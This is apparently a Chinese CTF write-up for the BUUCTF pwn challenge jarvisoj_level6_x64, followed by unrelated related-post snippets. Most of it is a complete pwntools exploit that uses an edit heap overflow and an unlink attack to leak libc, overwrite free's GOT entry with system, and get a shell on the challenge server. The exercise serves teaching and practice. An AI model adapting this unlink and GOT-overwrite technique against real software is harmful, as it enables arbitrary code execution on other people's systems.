jarvisoj_level6_x64

只能申请unsorted bin大小下的unlink

IDA看一下,可以发现edit里面有任意堆溢出的情况(realloc造成堆溢出)

然后free里面有UAF漏洞

然后几个注意的点,unlink直接可以模板化

1,泄漏地址 包括libc或者存放heap pointer的地址

2,unlink,伪造谁用谁的指针来unlink

3,修改heap为got指针也可以泄漏libc

exp

  1. 1 #coding:utf-8
  2. 2 '''
  3. 3 author: lemon
  4. 4 time:
  5. 5 libc:
  6. 6 python version:
  7. 7 '''
  8. 8
  9. 9 from pwn import *
  10. 10 from LibcSearcher import *
  11. 11
  12. 12 local = 0
  13. 13
  14. 14 binary = "./freenote_x64"
  15. 15
  16. 16 if local == 1:
  17. 17 p = process(binary)
  18. 18 else:
  19. 19 p = remote("node3.buuoj.cn",29231)
  20. 20
  21. 21 def dbg():
  22. 22 context.log_level = 'debug'
  23. 23
  24. 24 context.terminal = ['tmux','splitw','-h']
  25. 25
  26. 26 def add(size,content):
  27. 27 p.sendlineafter('Your choice:','2')
  28. 28 p.sendlineafter('Length of new note: ',str(size))
  29. 29 p.sendafter('Enter your note:',content)
  30. 30
  31. 31 def free(index):
  32. 32 p.sendlineafter('Your choice: ','4')
  33. 33 p.sendlineafter('Note number: ',str(index))
  34. 34
  35. 35 def show():
  36. 36 p.sendlineafter('Your choice: ','1')
  37. 37
  38. 38 def edit(index,size,content):
  39. 39 p.sendlineafter('Your choice: ','3')
  40. 40 p.sendlineafter('Note number: ',str(index))
  41. 41 p.sendlineafter('Length of note: ',str(size))
  42. 42 p.sendafter('Enter your note: ',content)
  43. 43
  44. 44 add(0x80,0x80 * 'a') # chunk 0
  45. 45 add(0x80,0x80 * 'a') # chunk 1
  46. 46 add(0x80,0x80 * 'a') # chunk 2
  47. 47 add(0x80,0x80 * 'a') # chunk 3
  48. 48 add(0x80,0x80 * 'a') # chunk 4
  49. 49
  50. 50 edit(4,len("/bin/sh\x00"),"/bin/sh\x00")
  51. 51
  52. 52 #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
  53. 53
  54. 54 print "unlink前先泄漏出堆的基地址"
  55. 55
  56. 56 free(3)
  57. 57 free(1)
  58. 58
  59. 59 payload = 0x90 * 'a'
  60. 60 edit(0,len(payload),payload)
  61. 61 show()
  62. 62 p.recvuntil(0x90 * 'a')
  63. 63 #heap = u64(p.recv(6) + '\x00\x00')
  64. 64 heap_0 = u64(p.recvuntil('\x0a',drop = True) + '\x00\x00\x00\x00') - 0x19a0
  65. 65 print "[*] heap:",hex(heap_0)
  66. 66 heap_4 = heap_0 + 0x1a40
  67. 67
  68. 68
  69. 69 print "unlink"
  70. 70
  71. 71 fd = heap_0 - 0x18
  72. 72 bk = heap_0 - 0x10
  73. 73
  74. 74 payload = p64(0) + p64(0x80)
  75. 75 payload += p64(fd) + p64(bk)
  76. 76 payload = payload.ljust(0x80,'\x00')
  77. 77 payload += p64(0x80) + p64(0x90)
  78. 78 edit(0,len(payload),payload)
  79. 79
  80. 80 free(1)
  81. 81
  82. 82 print "leak libc"
  83. 83
  84. 84 elf = ELF('./freenote_x64')
  85. 85 free_got = elf.got['free']
  86. 86 print "[*] free:",hex(free_got)
  87. 87
  88. 88 payload = p64(2) + p64(1) + p64(0x8) + p64(free_got) #chunk0 size改为0x8
  89. 89 payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
  90. 90 payload = payload.ljust(0x90,'\x00')
  91. 91 edit(0,len(payload),payload)
  92. 92 show()
  93. 93 free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
  94. 94
  95. 95 # libc_base = free - libc.sym['free']
  96. 96 # system = libc_base + libc.sym['system']
  97. 97
  98. 98 libc = LibcSearcher('free',free)
  99. 99 libc_base = free - libc.dump('free')
  100. 100 system = libc_base + libc.dump('system')
  101. 101
  102. 102 payload = p64(system)
  103. 103 edit(0,len(payload),payload)
  104. 104
  105. 105 #gdb.attach(p)
  106. 106 p.interactive()

buuctf-pwn:jarvisoj_level6_x64的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

  10. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

随机推荐

  1. 5.Strom-事务型拓扑

  2. java ConcurrentHashMap和CopyOnWriteArrayList解决并发问题

    ConcurrentHashMap 一.hashtable.hashmap.ConcurrentHashMap 1.线程不安全的HashMap 因为多线程环境下,使用Hashmap进行put操作会引起 ...

  3. Urule开源版系列5——RuleSetParser解析过程

    接上期Urule开源版系列4--Core包核心接口之规则解析过程 之前源码到了Parser,这期详细解析下RuleSetParser的解析过程 1.主流程 特殊处理一个属性 循环处理元素 当元素名称是 ...

  4. 《Duubo系列》-Dubbo服务暴露过程

    我今天来就带大家看看 Dubbo 服务暴露过程,这个过程在 Dubbo 中其实是很核心的过程之一,关乎到你的 Provider 如何能被 Consumer 得知并调用. 今天还是会进行源码解析,毕竟我 ...

  5. 如何使用 Python 進行字串格式化

    前言: Python有几种方法可以显示程序的输出:数据可以以人类可读的形式打印出来,或者写入文件以供将来使用. 在开发应用程式时我们往往会需要把变数进行字串格式化,也就是说把字串中的变数替换成变量值. ...

  6. 怎样禁用UEFI boot option中的USB启动,防止U盘WIN PE系统黑入电脑?

    Title: Disable all UEFI boot options tblatt 问: Hello, system: Latitude E6530 I want to disable all U ...

  7. 手把手教你AspNetCore WebApi:数据验证

    前言 小明最近又遇到麻烦了,小红希望对接接口传送的数据进行验证,既然是小红要求,那小明说什么都得满足呀,这还不简单嘛. 传统验证 [HttpPost] public async Task<Act ...

  8. ASP。NET控件—控件如何相互关联

    介绍 这是我关于ASP系列的另一篇小文章.NET控件,它的主要焦点是揭示控件如何相互关联,涉及哪些实体,以及它们在此任务中的主要角色是什么. 动机 理解每次处理页面请求和某人在他的浏览器中获得您的we ...

  9. 用 shell 脚本做 restful api 接口监控

    问题的提出 基于历史原因,公司有一个"三无"采集服务--无人员.无运维.无监控--有能力做的部门不想接.接了的部门没能力.于是就一直这样裸奔,直到前几天一个依赖于这个采集服务的大数 ...

  10. visio调整画布大小的简便方法

    按住Ctrl,然后鼠标在边缘拉拽即可.